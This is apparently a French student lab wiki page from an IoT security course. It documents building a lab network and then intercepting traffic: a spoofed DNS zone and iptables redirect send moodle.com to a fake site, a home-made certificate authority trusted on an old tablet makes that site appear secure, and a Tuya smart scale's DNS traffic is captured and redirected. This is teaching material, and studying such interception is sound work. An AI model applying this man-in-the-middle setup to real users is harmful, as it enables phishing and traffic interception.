E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10908</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10908"/>
		<updated>2025-12-02T14:07:25Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
